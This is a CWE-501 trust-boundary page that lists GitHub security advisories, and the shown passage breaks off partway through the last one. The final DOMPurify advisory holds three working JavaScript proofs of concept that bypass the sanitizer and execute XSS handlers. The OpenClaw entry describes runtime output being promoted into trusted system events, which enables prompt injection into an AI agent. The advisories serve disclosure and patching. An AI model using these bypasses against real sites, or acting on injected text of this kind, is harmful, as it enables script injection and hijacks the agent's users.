CWE-501
AllowedTrust Boundary Violation
Abstraction: Base · Status: Draft
The product mixes trusted and untrusted data in the same data structure or structured message.
55 vulnerabilities reference this CWE, most recent first.
GHSA-FG9Q-5CW2-P6R9
Vulnerability from github – Published: 2024-03-07 21:30 – Updated: 2025-03-14 19:54A flaw was found in the kubevirt-csi component of OpenShift Virtualization's Hosted Control Plane (HCP). This issue could allow an authenticated attacker to gain access to the root HCP worker node's volume by creating a custom Persistent Volume that matches the name of a worker node.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/kubevirt/csi-driver"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-202403081943-cc28dcbb0afc14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-1725"
],
"database_specific": {
"cwe_ids": [
"CWE-501"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-11T20:07:55Z",
"nvd_published_at": "2024-03-07T20:15:50Z",
"severity": "HIGH"
},
"details": "A flaw was found in the kubevirt-csi component of OpenShift Virtualization\u0027s Hosted Control Plane (HCP). This issue could allow an authenticated attacker to gain access to the root HCP worker node\u0027s volume by creating a custom Persistent Volume that matches the name of a worker node.",
"id": "GHSA-fg9q-5cw2-p6r9",
"modified": "2025-03-14T19:54:12Z",
"published": "2024-03-07T21:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1725"
},
{
"type": "WEB",
"url": "https://github.com/kubevirt/csi-driver/commit/cc28dcbb0afca0a7cb8a73bc998ab49f864ed560"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:1559"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:1891"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:2047"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2024-1725"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2265398"
},
{
"type": "PACKAGE",
"url": "https://github.com/kubevirt/csi-driver"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-3512"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "kubevirt-csi: PersistentVolume allows access to HCP\u0027s root node"
}
GHSA-G9F5-X53J-H563
Vulnerability from github – Published: 2025-05-30 15:30 – Updated: 2025-06-04 21:00Summary
A security vulnerability has been identified in go-gh where an attacker-controlled GitHub Enterprise Server could result in executing arbitrary commands on a user's machine by replacing HTTP URLs provided by GitHub with local file paths for browsing.
Details
The GitHub CLI and CLI extensions allow users to transition from their terminal for a variety of use cases through the Browser capability in github.com/cli/go-gh/v2/pkg/browser:
- Using the
-w, --webflag, GitHub CLI users can view GitHub repositories, issues, pull requests, and more using their web browser - Using the
gh codespacecommand set, GitHub CLI users can transition to Visual Studio Code to work with GitHub Codespaces
This is done by using URLs provided through API responses from authenticated GitHub hosts when users execute gh commands.
Prior to 2.12.1, Browser.Browse() would attempt to open the provided URL using a variety of OS-specific approaches regardless of the scheme. An attacker-controlled GitHub Enterprise Server could modify API responses to use a specially tailored local executable path instead of HTTP URLs to resources. This could allow the attacker to execute arbitrary executables on the user's machine.
In 2.12.1, Browser.Browse() has been enhanced to allow and disallow a variety of scenarios to avoid opening or executing files on the filesystem without unduly impacting HTTP URLs:
- URLs with
http://,https://,vscode://,vscode-insiders://protocols are supported - URLs with
file://protocol are unsupported - URLs matching files or directories on the filesystem are unsupported
- URLs matching executables in the user's path are unsupported
URLs without protocols will be browsable if none of these other conditions apply.
As we have more information about use cases, maintainers can expand these capabilities for an improved user experience that allows configuring allowed URL schemes and/or prompt the user for an unexpected user case and confirming whether to continue.
Impact
Successful exploitation could cause users of the attacker-controlled GitHub Enterprise Server to execute arbitrary commands.
Remediation and Mitigation
- Upgrade
go-ghto2.12.1
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/cli/go-gh/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.12.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-48938"
],
"database_specific": {
"cwe_ids": [
"CWE-501"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-30T15:30:39Z",
"nvd_published_at": "2025-05-30T19:15:29Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nA security vulnerability has been identified in `go-gh` where an attacker-controlled GitHub Enterprise Server could result in executing arbitrary commands on a user\u0027s machine by replacing HTTP URLs provided by GitHub with local file paths for browsing. \n\n### Details\n\nThe GitHub CLI and CLI extensions allow users to transition from their terminal for a variety of use cases through the [`Browser` capability in `github.com/cli/go-gh/v2/pkg/browser`](https://github.com/cli/go-gh/blob/61bf393cf4aeea6d00a6251390f5f67f5b67e727/pkg/browser/browser.go):\n\n- Using the `-w, --web` flag, GitHub CLI users can view GitHub repositories, issues, pull requests, and more using their web browser\n- Using the `gh codespace` command set, GitHub CLI users can transition to Visual Studio Code to work with GitHub Codespaces\n\nThis is done by using URLs provided through API responses from authenticated GitHub hosts when users execute `gh` commands.\n\nPrior to `2.12.1`, `Browser.Browse()` would attempt to open the provided URL using a variety of OS-specific approaches regardless of the scheme. An attacker-controlled GitHub Enterprise Server could modify API responses to use a specially tailored local executable path instead of HTTP URLs to resources. This could allow the attacker to execute arbitrary executables on the user\u0027s machine. \n\nIn `2.12.1`, `Browser.Browse()` has been enhanced to allow and disallow a variety of scenarios to avoid opening or executing files on the filesystem without unduly impacting HTTP URLs:\n\n1. URLs with `http://`, `https://`, `vscode://`, `vscode-insiders://` protocols are supported\n1. URLs with `file://` protocol are unsupported\n1. URLs matching files or directories on the filesystem are unsupported\n1. URLs matching executables in the user\u0027s path are unsupported\n\nURLs without protocols will be browsable if none of these other conditions apply.\n\nAs we have more information about use cases, maintainers can expand these capabilities for an improved user experience that allows configuring allowed URL schemes and/or prompt the user for an unexpected user case and confirming whether to continue.\n\n### Impact\n\nSuccessful exploitation could cause users of the attacker-controlled GitHub Enterprise Server to execute arbitrary commands.\n\n### Remediation and Mitigation\n\n1. Upgrade `go-gh` to `2.12.1`",
"id": "GHSA-g9f5-x53j-h563",
"modified": "2025-06-04T21:00:35Z",
"published": "2025-05-30T15:30:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cli/go-gh/security/advisories/GHSA-g9f5-x53j-h563"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48938"
},
{
"type": "WEB",
"url": "https://github.com/cli/go-gh/commit/a08820a13f257d6c5b4cb86d37db559ec6d14577"
},
{
"type": "PACKAGE",
"url": "https://github.com/cli/go-gh"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Prevent GitHub CLI and extensions from executing arbitrary commands from compromised GitHub Enterprise Server"
}
GHSA-GFMX-PPH7-G46X
Vulnerability from github – Published: 2026-04-09 14:22 – Updated: 2026-04-09 14:22Impact
Lower-trust background runtime output is injected into trusted System: events, and local async exec completion misses the intended exec-event downgrade.
Lower-trust runtime/background output could be promoted into trusted System events, allowing prompt-injection into later agent turns.
OpenClaw is a user-controlled local assistant. This advisory is scoped to the OpenClaw trust model and does not assume a multi-tenant service boundary.
Affected Packages / Versions
- Package:
openclaw(npm) - Affected versions:
<= 2026.4.2 - Patched versions:
2026.4.8
Fix
The issue was fixed on main and is available in the patched npm version listed above. The verified fixed tree is commit d7c3210cd6f5fdfdc1beff4c9541673e814354d5.
Verification
The fix was re-checked against main before publication, including targeted regression tests for the affected security boundary.
Credits
Thanks @tdjackey for reporting.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.4.2"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.4.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-501"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-09T14:22:14Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Impact\n\nLower-trust background runtime output is injected into trusted `System:` events, and local async exec completion misses the intended `exec-event` downgrade.\n\nLower-trust runtime/background output could be promoted into trusted System events, allowing prompt-injection into later agent turns.\n\nOpenClaw is a user-controlled local assistant. This advisory is scoped to the OpenClaw trust model and does not assume a multi-tenant service boundary.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.4.2`\n- Patched versions: `2026.4.8`\n\n## Fix\n\nThe issue was fixed on `main` and is available in the patched npm version listed above. The verified fixed tree is commit `d7c3210cd6f5fdfdc1beff4c9541673e814354d5`.\n\n## Verification\n\nThe fix was re-checked against `main` before publication, including targeted regression tests for the affected security boundary.\n\n## Credits\n\nThanks @tdjackey for reporting.",
"id": "GHSA-gfmx-pph7-g46x",
"modified": "2026-04-09T14:22:14Z",
"published": "2026-04-09T14:22:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-gfmx-pph7-g46x"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Lower-trust background runtime output is injected into trusted `System:` events, and local async exec completion misses the intended `exec-event` downgrade"
}
GHSA-GQW2-GVRW-VQQG
Vulnerability from github – Published: 2024-03-27 18:32 – Updated: 2024-03-27 18:32A vulnerability in the boot process of Cisco Access Point (AP) Software could allow an unauthenticated, physical attacker to bypass the Cisco Secure Boot functionality and load a software image that has been tampered with on an affected device.
This vulnerability exists because unnecessary commands are available during boot time at the physical console. An attacker could exploit this vulnerability by interrupting the boot process and executing specific commands to bypass the Cisco Secure Boot validation checks and load an image that has been tampered with. This image would have been previously downloaded onto the targeted device. A successful exploit could allow the attacker to load the image once. The Cisco Secure Boot functionality is not permanently compromised.
{
"affected": [],
"aliases": [
"CVE-2024-20265"
],
"database_specific": {
"cwe_ids": [
"CWE-501"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-27T17:15:51Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the boot process of Cisco Access Point (AP) Software could allow an unauthenticated, physical attacker to bypass the Cisco Secure Boot functionality and load a software image that has been tampered with on an affected device.\n\n This vulnerability exists because unnecessary commands are available during boot time at the physical console. An attacker could exploit this vulnerability by interrupting the boot process and executing specific commands to bypass the Cisco Secure Boot validation checks and load an image that has been tampered with. This image would have been previously downloaded onto the targeted device. A successful exploit could allow the attacker to load the image once. The Cisco Secure Boot functionality is not permanently compromised.",
"id": "GHSA-gqw2-gvrw-vqqg",
"modified": "2024-03-27T18:32:38Z",
"published": "2024-03-27T18:32:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20265"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ap-secureboot-bypass-zT5vJkSD"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GW7X-G9XX-WMM2
Vulnerability from github – Published: 2026-03-24 15:30 – Updated: 2026-06-30 03:35Sandbox escape due to incorrect boundary conditions in the Telemetry component. This vulnerability affects Firefox < 149, Firefox ESR < 115.34, and Firefox ESR < 140.9.
{
"affected": [],
"aliases": [
"CVE-2026-4687"
],
"database_specific": {
"cwe_ids": [
"CWE-120",
"CWE-501",
"CWE-754"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-24T13:16:04Z",
"severity": "HIGH"
},
"details": "Sandbox escape due to incorrect boundary conditions in the Telemetry component. This vulnerability affects Firefox \u003c 149, Firefox ESR \u003c 115.34, and Firefox ESR \u003c 140.9.",
"id": "GHSA-gw7x-g9xx-wmm2",
"modified": "2026-06-30T03:35:58Z",
"published": "2026-03-24T15:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4687"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:5930"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:8287"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:8288"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:8289"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:8290"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:8315"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:8427"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:8850"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-4687"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2016368"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2450757"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-4687.json"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-20"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-21"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-22"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-23"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2026-24"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:5931"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:5932"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:6188"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:6342"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:6917"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:7837"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:7838"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:7839"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:7840"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:7841"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:7842"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:7843"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:7845"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:7858"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:8284"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:8285"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:8286"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H9JC-284H-533G
Vulnerability from github – Published: 2020-07-07 00:01 – Updated: 2021-01-07 23:48Impact
Apps using both contextIsolation and contextBridge are affected.
This is a context isolation bypass, meaning that code running in the main world context in the renderer can reach into the isolated Electron context and perform privileged actions.
Workarounds
There are no app-side workarounds, you must update your Electron version to be protected.
Fixed Versions
9.0.0-beta.218.2.47.2.4
For more information
If you have any questions or comments about this advisory: * Email us at security@electronjs.org
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "electron"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.2.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "electron"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.2.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-4077"
],
"database_specific": {
"cwe_ids": [
"CWE-501"
],
"github_reviewed": true,
"github_reviewed_at": "2020-07-06T23:55:23Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\nApps using both `contextIsolation` and `contextBridge` are affected.\n\nThis is a context isolation bypass, meaning that code running in the main world context in the renderer can reach into the isolated Electron context and perform privileged actions.\n\n### Workarounds\nThere are no app-side workarounds, you must update your Electron version to be protected.\n\n### Fixed Versions\n* `9.0.0-beta.21`\n* `8.2.4`\n* `7.2.4`\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@electronjs.org](mailto:security@electronjs.org)",
"id": "GHSA-h9jc-284h-533g",
"modified": "2021-01-07T23:48:28Z",
"published": "2020-07-07T00:01:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/electron/electron/security/advisories/GHSA-h9jc-284h-533g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-4077"
},
{
"type": "WEB",
"url": "https://github.com/electron/electron/commit/b8e347709245d2dc5640fbb3044d9b21b4eaa6b0"
},
{
"type": "WEB",
"url": "https://www.electronjs.org/releases/stable?page=3#release-notes-for-v824"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Context isolation bypass via contextBridge in Electron"
}
GHSA-HJ55-9JMV-9JRJ
Vulnerability from github – Published: 2024-01-19 21:30 – Updated: 2026-01-22 20:53Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-227w-wv4j-67h4. This link is maintained to preserve external references.
Original Description
Artemis Java Test Sandbox versions before 1.8.0 are vulnerable to a sandbox escape when an attacker includes class files in a package that Ares trusts. An attacker can abuse this issue to execute arbitrary Java when a victim executes the supposedly sandboxed code.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "de.tum.in.ase:artemis-java-test-sandbox"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.8.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-501"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-22T21:31:04Z",
"nvd_published_at": "2024-01-19T21:15:10Z",
"severity": "HIGH"
},
"details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-227w-wv4j-67h4. This link is maintained to preserve external references.\n\n## Original Description\nArtemis Java Test Sandbox versions before 1.8.0 are vulnerable to a sandbox escape when an attacker includes class files in a package that Ares trusts. An attacker can abuse this issue to execute arbitrary Java when a victim executes the supposedly sandboxed code.",
"id": "GHSA-hj55-9jmv-9jrj",
"modified": "2026-01-22T20:53:29Z",
"published": "2024-01-19T21:30:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ls1intum/Ares/security/advisories/GHSA-227w-wv4j-67h4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23682"
},
{
"type": "WEB",
"url": "https://github.com/ls1intum/Ares/issues/15"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-227w-wv4j-67h4"
},
{
"type": "PACKAGE",
"url": "https://github.com/ls1intum/Ares"
},
{
"type": "WEB",
"url": "https://github.com/ls1intum/Ares/releases/tag/1.8.0"
},
{
"type": "WEB",
"url": "https://vulncheck.com/advisories/vc-advisory-GHSA-227w-wv4j-67h4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Duplicate Advisory: Sandbox escape in Artemis Java Test Sandbox",
"withdrawn": "2026-01-22T20:53:29Z"
}
GHSA-HPCV-96WG-7VJ8
Vulnerability from github – Published: 2026-06-15 19:56 – Updated: 2026-06-15 19:56Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound instanceof checks
CWE: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — realm-bound instanceof checks fail-open on foreign-realm DOM nodes) and CWE-501 (Trust Boundary Violation — foreign-realm nodes accepted for sanitization but later checks are bound to the parent realm)
Summary
DOMPurify.sanitize(node, { IN_PLACE: true }) accepts a DOM node from any same-origin realm (e.g. a node owned by an application-created iframe document), but several follow-on security checks compare the node against constructors from the parent realm. Because constructors are per-realm, instanceof HTMLFormElement, instanceof NamedNodeMap, instanceof DocumentFragment, and instanceof Element all return false for nodes belonging to the iframe's realm. The library therefore proceeds as if the foreign-realm form is not clobberable, the foreign-realm <template>'s .content is not a document fragment, and the foreign-realm attached shadow root is not a document fragment — silently skipping the clobber/template-content/shadow-DOM sanitization branches that those checks gate. Attacker-controlled markup survives in form attributes, template content, and attached shadow roots, and executes when the application later inserts or activates the sanitized node.
Affected
- DOMPurify ≤ 3.4.5, including
mainat89da34e03ec17868e561f87f3747a9371b61a9e7 - Any caller that constructs or parses untrusted DOM in a same-origin iframe (or any other same-origin realm — popup window, opened tab, programmatically-created
<iframe srcdoc>) and then callsDOMPurify.sanitize(foreignNode, { IN_PLACE: true })against a sanitizer instance bound to a different realm
Not affected:
- String-input DOMPurify.sanitize(dirtyString) — the library calls its own parser inside _initDocument, the resulting nodes belong to the sanitizer's own realm, and the instanceof checks resolve as expected
- IN_PLACE calls where the input node was created in the same realm as the DOMPurify instance
Vulnerability details
The unifying defect is that _isClobbered, _sanitizeShadowDOM's template-content recursion, and _sanitizeAttachedShadowRoots all use realm-bound instanceof checks against the parent-realm constructors. Each branch fails-open for foreign-realm objects.
[A] — _isClobbered gates on element instanceof HTMLFormElement
src/purify.ts:1120-1140:
const _isClobbered = function (element: Element): boolean {
return (
element instanceof HTMLFormElement && // [A] realm-bound — false for any
// iframe-realm <form> element
(typeof element.nodeName !== 'string' ||
typeof element.textContent !== 'string' ||
typeof element.removeChild !== 'function' ||
!(element.attributes instanceof NamedNodeMap) || // [A'] also realm-bound
typeof element.removeAttribute !== 'function' ||
typeof element.setAttribute !== 'function' ||
typeof element.namespaceURI !== 'string' ||
typeof element.insertBefore !== 'function' ||
typeof element.hasChildNodes !== 'function' ||
!(element.childNodes && typeof element.childNodes.length === 'number'))
);
};
A foreign-realm <form> is an instance of the foreign realm's HTMLFormElement, not the parent realm's. The leading instanceof short-circuits to false, so _isClobbered returns false regardless of the named-property clobbering present on the form. The follow-on _sanitizeAttributes then iterates currentNode.attributes — which itself can be a clobbered value (a foreign-realm <input> whose name="attributes" shadows the form's real NamedNodeMap). The attribute walk traverses the wrong collection and never reaches the actual onmouseover / onclick / action=javascript: attributes on the form root.
[B] — _sanitizeShadowDOM gates template recursion on content instanceof DocumentFragment
src/purify.ts:1660-1662:
while ((shadowNode = shadowIterator.nextNode())) {
...
_sanitizeElements(shadowNode);
_sanitizeAttributes(shadowNode);
/* Deep shadow DOM detected */
if (shadowNode.content instanceof DocumentFragment) { // [B] realm-bound
_sanitizeShadowDOM(shadowNode.content);
}
}
The same check exists in the main iterator at :1861-1862:
if (currentNode.content instanceof DocumentFragment) { // [B'] realm-bound
_sanitizeShadowDOM(currentNode.content);
}
For a <template> element constructed in a foreign realm, template.content is a DocumentFragment from that realm — not from the parent realm. Both checks miss it, and the template's contents (which carry attacker-controlled <img src=x onerror=...> etc.) are never walked. The sanitized output appears clean from the outside, but the moment a consumer does node.cloneNode(true) / importNode(template.content, true) / inserts it into the live DOM, the embedded handler fires.
[C] — _sanitizeAttachedShadowRoots gates recursion on sr instanceof DocumentFragment
src/purify.ts:1702-1712:
if (nodeType === NODE_TYPE.element) {
const sr = getShadowRoot
? getShadowRoot(root)
: (root as Element).shadowRoot;
if (sr instanceof DocumentFragment) { // [C] realm-bound
_sanitizeAttachedShadowRoots(sr);
_sanitizeShadowDOM(sr);
}
}
For a host element constructed in a foreign realm with host.attachShadow({mode:'open'}), host.shadowRoot is a foreign-realm ShadowRoot (which extends the foreign realm's DocumentFragment). The instanceof DocumentFragment against the parent realm fails. The whole shadow subtree is skipped. When the host is later attached to the live document, the shadow DOM activates with attacker-controlled content.
The mismatch
DOMPurify accepts foreign-realm nodes for sanitization (the entry-point's _isNode(dirty) at :1750 is realm-agnostic — it checks shape, not constructor identity), so callers reasonably expect that the library's downstream defenses are equally realm-agnostic. They are not. [A] / [B] / [C] each fail-open for foreign-realm objects. A correct guard at each of those sites would use a realm-independent shape check (e.g., nodeType === 11 for DocumentFragment, tag-name comparison for HTMLFormElement recognition).
Proof of concept
Each PoC creates the attacker payload in a same-origin iframe, then calls the parent-realm DOMPurify.sanitize(node, { IN_PLACE: true }) and verifies that handler execution succeeds on subsequent activation.
PoC 1 — cross-realm form clobbering survives
const iframe = document.createElement('iframe');
iframe.srcdoc = '<!doctype html><html><body></body></html>';
iframe.onload = () => {
const idoc = iframe.contentDocument;
const div = idoc.createElement('div'); div.id = 'dirty';
const form = idoc.createElement('form');
form.setAttribute('onmouseover',
'window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1');
const inp = idoc.createElement('input');
inp.setAttribute('name', 'attributes'); // clobbers form.attributes
form.appendChild(inp);
div.appendChild(form);
DOMPurify.sanitize(div, { IN_PLACE: true });
window.__dompurify_xss = 0;
document.body.appendChild(div);
form.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));
// window.__dompurify_xss === 1
};
document.body.appendChild(iframe);
Observed (Chromium 148, DOMPurify 3.4.5, HEAD 89da34e):
{
"sanitizeError": null,
"before": {
"formIsMainRealmHTMLFormElement": false,
"formIsForeignRealmHTMLFormElement": true,
"formAttributesType": "[object HTMLInputElement]",
"formAttributesEqualsInput": true
},
"after": {
"html": "<div id=\"dirty\"><form onmouseover=\"window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1\"><input></form></div>",
"formOnmouseover": "window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1",
"xssExecuted": 1
}
}
PoC 2 — cross-realm <template> content is never walked
const iframe = document.createElement('iframe');
iframe.srcdoc = '<!doctype html><html><body></body></html>';
iframe.onload = () => {
const idoc = iframe.contentDocument;
const div = idoc.createElement('div');
const tpl = idoc.createElement('template');
tpl.innerHTML = '<img src="x" onerror=' +
'"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1">';
div.appendChild(tpl);
DOMPurify.sanitize(div, { IN_PLACE: true });
window.__dompurify_template_xss = 0;
const clone = idoc.importNode(tpl.content, true);
document.body.appendChild(clone); // fires onerror
};
document.body.appendChild(iframe);
Observed:
{
"before": {
"templateIsMainRealmHTMLTemplateElement": false,
"contentIsMainRealmDocumentFragment": false,
"contentIsForeignRealmDocumentFragment": true
},
"after": {
"templateInnerHTMLAfter": "<img src=\"x\" onerror=\"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1\">",
"xssExecuted": 1
}
}
PoC 3 — cross-realm attached shadow root is never walked
const iframe = document.createElement('iframe');
iframe.srcdoc = '<!doctype html><html><body></body></html>';
iframe.onload = () => {
const idoc = iframe.contentDocument;
const host = idoc.createElement('div');
host.attachShadow({ mode: 'open' }).innerHTML =
'<img src=x onerror="window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1"><b>safe text</b>';
DOMPurify.sanitize(host, { IN_PLACE: true });
window.__dompurify_shadow_xss = 0;
document.body.appendChild(host); // shadow activates, onerror fires
};
document.body.appendChild(iframe);
Observed:
{
"before": {
"hostIsMainRealmElement": false,
"shadowRootIsMainRealmDocumentFragment": false,
"shadowRootIsForeignRealmDocumentFragment": true
},
"after": {
"shadowRootInnerHTMLAfter": "<img src=\"x\" onerror=\"window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1\"><b>safe text</b>",
"xssExecuted": 1
}
}
All three PoCs run cleanly against dist/purify.js built from current main HEAD 89da34e.
Impact
Direct
Any application that parses, isolates, or constructs untrusted DOM inside a same-origin iframe (a common technique for <base href> isolation, document.write sandboxing, layout pre-measurement, declarative-shadow-root attachment, etc.) and then hands the resulting node to a parent-realm DOMPurify instance with IN_PLACE: true is vulnerable. The library returns a node whose top-level shape looks sanitized, but executable attacker markup remains in:
- Form root attributes —
onmouseover,onfocus,onclick,action="javascript:...",formaction=,target=,id=(DOM-clobbering target), and the full attribute-allowlist set, because_sanitizeAttributeswalks a clobbered.attributesinstead of the realNamedNodeMap. <template>content —<img onerror>,<svg><script>,<iframe srcdoc>, etc., because the inert template tree is never recursed into.- Attached shadow roots — any markup inside the shadow root, because the shadow walk is skipped entirely.
XSS triggers when the consuming code:
- Inserts the form into the live DOM and the user interacts with it (mouseover, click, focus).
- Clones template content with importNode / cloneNode(true) / node.appendChild(template.content) into the live DOM.
- Appends the shadow host to the live document (the shadow root becomes active and <img onerror> fires synchronously during the insertion microtask).
Indirect / second-order
- DOM-based template engines (Lit, Polymer, Vue, FAST) that often use foreign-realm
<template>parsing for performance reasons. If they pipe attacker-influenced content through such a template and then run DOMPurify on the parent-realm host, the template body is sanitization-skipped. - Editor / WYSIWYG frameworks that render preview content inside a same-origin iframe and then move it into the main document after sanitization.
- Email/HTML preview libraries that parse received HTML in an isolated iframe to neutralize CSS /
